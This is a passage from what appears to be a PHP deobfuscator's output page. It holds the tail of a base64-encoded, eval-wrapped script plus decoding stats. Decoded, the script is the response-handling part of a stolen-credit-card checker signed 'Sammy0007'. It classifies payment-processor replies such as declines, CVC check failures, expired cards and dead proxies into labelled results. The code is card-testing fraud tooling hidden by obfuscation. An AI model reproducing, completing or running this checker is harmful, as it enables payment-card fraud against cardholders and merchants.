IC4nPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyI+ICYjOTgxODsgSW5jb3JyZWN0IENhcmQgTnVtYmVyICYjOTgxODsgU2FtbXkwMDA3ICYjOTgxODs8L3NwYW4+IDwvYnI+JzsNCn0NCmVsc2VpZihzdHJwb3MoJHJlc3VsdCwgJ1lvdXIgY2FyZCB3YXMgRGVjbGluZWQuJykpIHsNCiAgZWNobyAnPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWRhbmdlciI+UmVwcm92YWRhPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtZGFuZ2VyICI+Jy4gJGxpc3RhIC4nPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyI+ICYjOTgxODsgQ2FyZCBSZXByb3ZhZGEgJiM5ODE4OyBTYW1teTAwMDcgJiM5ODE4Ozwvc3Bhbj4gPC9icj4nOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHJlc3VsdCwgImdlbmVyaWNfZGVjbGluZSIpKSB7DQogIGVjaG8gJzxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIiPlJlcHJvdmFkYTwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWRhbmdlciAiPicuICRsaXN0YSAuJzwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWluZm8iPiAmIzk4MTg7IFJlcHJvdmFkYSA6IEdlbmVyaWNfRGVjbGluZSAmIzk4MTg7IFNhbW15MDAwNyAmIzk4MTg7PC9zcGFuPiA8L2JyPic7DQp9DQplbHNlaWYgKHN0cnBvcygkcmVzdWx0LCAiZG9fbm90X2hvbm9yIikpIHsNCiAgZWNobyAnPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWRhbmdlciI+UmVwcm92YWRhPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtZGFuZ2VyICI+Jy4gJGxpc3RhIC4nPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyI+ICYjOTgxODsgUmVwcm92YWRhIDogRG9fTm90X0hvbm9yICYjOTgxODsgU2FtbXkwMDA3ICYjOTgxODs8L3NwYW4+IDwvYnI+JzsNCn0NCmVsc2VpZiAoc3RycG9zKCRyZXN1bHQsICciY3ZjX2NoZWNrIjogInVuY2hlY2tlZCInKSkgew0KICBlY2hvICc8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtZGFuZ2VyIj5SZXByb3ZhZGE8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIgIj4nLiAkbGlzdGEgLic8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1pbmZvIj4gJiM5ODE4OyBTZWN1cml0eSBDb2RlIENoZWNrIDogVW5jaGVja2VkIFtQcm94eSBEZWFkXSAmIzk4MTg7IFNhbW15MDAwNyAmIzk4MTg7PC9zcGFuPiA8L2JyPic7DQp9DQplbHNlaWYgKHN0cnBvcygkcmVzdWx0LCAnImN2Y19jaGVjayI6ICJmYWlsIicpKSB7DQogIGVjaG8gJzxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIiPlJlcHJvdmFkYTwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWRhbmdlciAiPicuICRsaXN0YSAuJzwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWluZm8iPiAmIzk4MTg7IFNlY3VyaXR5IENvZGUgQ2hlY2sgOiBGYWlsICYjOTgxODsgU2FtbXkwMDA3ICYjOTgxODs8L3NwYW4+IDwvYnI+JzsNCn0NCmVsc2VpZiAoc3RycG9zKCRyZXN1bHQsICJleHBpcmVkX2NhcmQiKSkgew0KICBlY2hvICc8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtZGFuZ2VyIj5SZXByb3ZhZGE8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIgIj4nLiAkbGlzdGEgLic8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1pbmZvIj4gJiM5ODE4OyBFeHBpcmVkIENhcmQgJiM5ODE4OyBTYW1teTAwMDcgJiM5ODE4Ozwvc3Bhbj4gPC9icj4nOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHJlc3VsdCwnWW91ciBjYXJkIGRvZXMgbm90IHN1cHBvcnQgdGhpcyB0eXBlIG9mIHB1cmNoYXNlLicpKSB7DQogIGVjaG8gJzxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIiPlJlcHJvdmFkYTwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWRhbmdlciAiPicuICRsaXN0YSAuJzwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWluZm8iPiAmIzk4MTg7IENhcmQgRG9lc250IFN1cHBvcnQgVGhpcyBQdXJjaGFzZSAmIzk4MTg7IFNhbW15MDAwNyAmIzk4MTg7PC9zcGFuPiA8L2JyPic7DQp9DQogZWxzZSB7DQogIGVjaG8gJzxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIiPlJlcHJvdmFkYTwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWRhbmdlciAiPicuICRsaXN0YSAuJzwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWluZm8iPiAmIzk4MTg7IFByb3h5IERlYWQgLyBFcnJvciBOb3QgTGlzdGVkICYjOTgxODsgU2FtbXkwMDA3ICYjOTgxODs8L3NwYW4+IDwvYnI+JzsNCn0NCg0KY3VybF9jbG9zZSgkY2gpOw0Kb2JfZmx1c2goKTsNCi8vLy8vLz09PT09PT09PUNvbW1lbnQgRWNobyAkcmVzdWx0IElmIFUgV2FudCBUbyBIaWRlIFNpdGUgU2lkZSBSZXNwb25zZQ0KZWNobyAkcmVzdWx0IA0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLz09PT09PT09PT09PT09PT09PT09PT09PT09PUVkaXRlZCBCeSBTYW1teTAwMDc9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cXFxcXFxcDQo/Pg==")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 53099da41dba5742a16338183cea6870 |
Eval Count | 1 |
Decode Time | 104 ms |